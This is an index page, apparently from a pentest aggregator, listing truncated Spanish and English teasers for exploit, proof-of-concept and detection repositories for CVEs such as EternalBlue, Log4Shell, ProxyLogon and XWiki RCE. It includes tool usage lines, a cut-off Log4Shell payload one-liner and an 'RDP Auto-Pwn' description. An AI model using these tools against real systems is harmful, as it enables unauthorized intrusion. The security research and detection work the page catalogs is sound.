pentest-writeups

pentest-writeups Writeup de Kioptrix Level 1 - CVE-2003-0201 Samba trans2open Kioptrix Level 1 — Writeup de Pruebas de Penetración Autor: Amirbek Raxmatullayev @americo444 Fecha: 2026-06-17 Plataforma: VulnHub Dificultad: Principiante Objetivo: Obtener acceso root 1. Configuración del Entorno...

RCE-CVE-2025-32710

RCE-CVE-2025-32710 Vulnerabilidad en los Servicios de Escritorio Remoto de Windows permite la ejecución remota de código root@kitploit: 💥 RDP Auto-Pwn RCE-CVE-2025-32710 Explotación Automática para Servicios RDP Vulnerables BlueKeep y Más Allá 🔓 Crea cuenta de administrador • 🪟 Activa RDP • 📶...

CVE-2025-24016-Nuclei-Template

CVE-2025-24016 Detección de Deserialización Insegura y RCE en Wazuh Este repositorio contiene una plantilla de Nuclei para detectar la vulnerabilidad de deserialización insegura en servidores Wazuh, identificada como CVE-2025-24016. Detalles de la Plantilla root@kitploit: id:...

cve-2017-0143

Exploiting CVE-2017-0143 - EternalBlue Vulnerability 📌 Description This project demonstrates how to exploit the CVE-2017-0143 vulnerability EternalBlue in a controlled environment for educational and penetration testing purposes. The attack was performed on a Windows 7 system using Metasploit...

CVE-2023-3009

CVE-2023-3009 Stored XSS on item name - Bypassing CVE-2023-2516 in TeamPass 3.0.9 - by M Nadeem Qazi Description This repository addresses the stored XSS vulnerability discovered in the nilsteampassnet/teampass application, which was assigned the CVE-2023-2516 identifier. The vulnerability can be...

CVE-2025-20352

CVE-2025-20352 — Desbordamiento de Pila SNMP en Cisco IOS / IOS XE Escrito de investigación por Sentinel AI Defense. Solo análisis defensivo — no se publica ningún exploit funcional ni PoC aquí. Un desbordamiento de búfer basado en pila en el subsistema SNMP de Cisco IOS e IOS XE: un paquete SNMP...

Telerik_CVE-2019-18935

Escáner Python para TelerikUI telerikrcescan.py Ejemplos Evaluar una IP para CVE-2019-18935 $ python3 telerikrcescan.py -t 192.168.44.21 Evaluar un nombre de host para CVE-2019-18935 $ python3 telerikrcescan.py -t vulnerable.telerik.net Evaluar un rango de red CIDR para CVE-2019-18935 $ python3...

CVE-2025-24893

PoC para CVE-2025-24893 — Ejecución Remota de Código en XWiki PoC Seguro PoC para CVE-2025-24893: Exploit de Ejecución Remota de Código en XWiki para versiones anteriores a 15.10.11 , 16.4.1 y 16.5.0RC1. ⚠️ IMPORTANTE — SOLO PRUEBAS AUTORIZADAS Este repositorio contiene un proyecto de prueba de...

CVE-2025-48384

CVE-2025-48384: Rompiendo git con un retorno de carro y clonación RCE Reproducción desde https://dgl.cx/2025/07/git-clone-submodule-cve-2025-48384. Todo el crédito a David Leadbeater. Este es un intento básico de reproducción de la vulnerabilidad. Para activarlo, ejecute git clone --recursive...

react2shell-rce-autobot

🔍 React2Shell Dork Scanner 🚨 Acerca de la Vulnerabilidad React2Shell es una vulnerabilidad crítica de Ejecución Remota de Código RCE que afecta: Target| Versión Vulnerable ---|--- ⚛️ react-server-dom-webpack| 19.0.0, 19.1.0, 19.1.1, 19.2.0 ⚛️ react-server-dom-turbopack| 19.0.0, 19.1.0, 19.1.1,...

exploit-CVE-2021-44228

CVE-2021-44228 – Log4j RCE no autenticado Acerca de Este es un exploit de prueba de concepto para Log4j RCE no autenticado CVE-2021-44228. Esta vulnerabilidad afecta a las versiones 2.15.0. Para más información:...

ProxyLogon

ProxyLogon ProxyLogon es el nombre genérico formal para CVE-2021-26855, una vulnerabilidad en Microsoft Exchange Server que permite a un atacante eludir la autenticación y hacerse pasar por el administrador. También hemos encadenado este error con otra vulnerabilidad posterior a la autenticación ...

Log4Shell-Payloads

🚨 Colección de Payloads Log4Shell Una lista curada de payloads de explotación Log4Shell / Log4J dirigidos a: CVE-2021-45046 CVE-2022-42889 🔗 Por @nav1n0x 🔥 Payloads de una línea ✅ Oneliner 1bash cat vulnerable-hosts.txt | sed 's/https?:////' | xargs -I echo...

Vulnerability-Assessment-and-OSINT-CVE-2012-1823

Evaluación de Vulnerabilidades y OSINT: CVE-2012-1823 Mi repositorio documenta el proceso de identificación, análisis y recopilación de Inteligencia de Fuentes Abiertas OSINT sobre una vulnerabilidad de seguridad específica detectada durante un escaneo de red objetivo. Resumen del Proceso El fluj...

lenovo_exec

lenovoexec CVE-2022-3699 con capacidad de ejecución de código arbitrario en el kernel exploit original: https://github.com/alfarom256/CVE-2022-3699...

CVE-2021-44228-Apache-Log4j-Rce

CVE-2021-44228 Ejecución Remota de Código en Apache Log4j todas las versiones de log4j-core =2.0-beta9 y No confíe en una versión actual de Java para salvarse. Actualice Log4 o elimine la búsqueda JNDI. Deshabilite la expansión de todos modos parece una muy mala idea...

cve-2020-0688

cve-2020-0688 Uso: root@kitploit: usage: cve-2020-0688.py -h -s SERVER -u USER -p PASSWORD -c CMD optional arguments: -h, --help show this help message and exit -s SERVER, --server SERVER ECP Server URL Example: http://ip/owa -u USER, --user USER login account Example: domain\user -p PASSWORD,...

CVE-2018-14667-poc

CVE-2018-14667-poc Richfaces漏洞环境及PoC 靶场：vulenvironment下的war包直接丢到tomcat即可 PoC root@kitploit: build:build artifactId run:java -jar CVE-2018-14667-poc.jar "cmd" about debug 直接将vulenvironment下的war包下的war解压，然后从idea导入，并将tomcat下的lib添加到library path request demo： root@kitploit: GET...

CheckHKRCE

CheckHKRCE CVE-2021-36260 Código fuente basado en: https://github.com/mcw0/PoC/blob/master/CVE-2021-36260.py Instalación Python 3.8 + pip install requests Windows 10 SO, Linux Ubuntu Uso python3 CheckHKRCE.py --rhost 192.168.1.11 --rport 80 --check CheckHKRCE.exe --rhost 192.168.1.11 --rport 80...

CVE-2021-26084

CVE-2021-26084 Inyección OGNL en Confluence CVE-2021-26084 es una vulnerabilidad de inyección de Object-Graph Navigation Language OGNL en la implementación de Webwork de Atlassian Confluence. Un atacante remoto no autenticado podría explotar esta falla enviando una solicitud especialmente diseñad...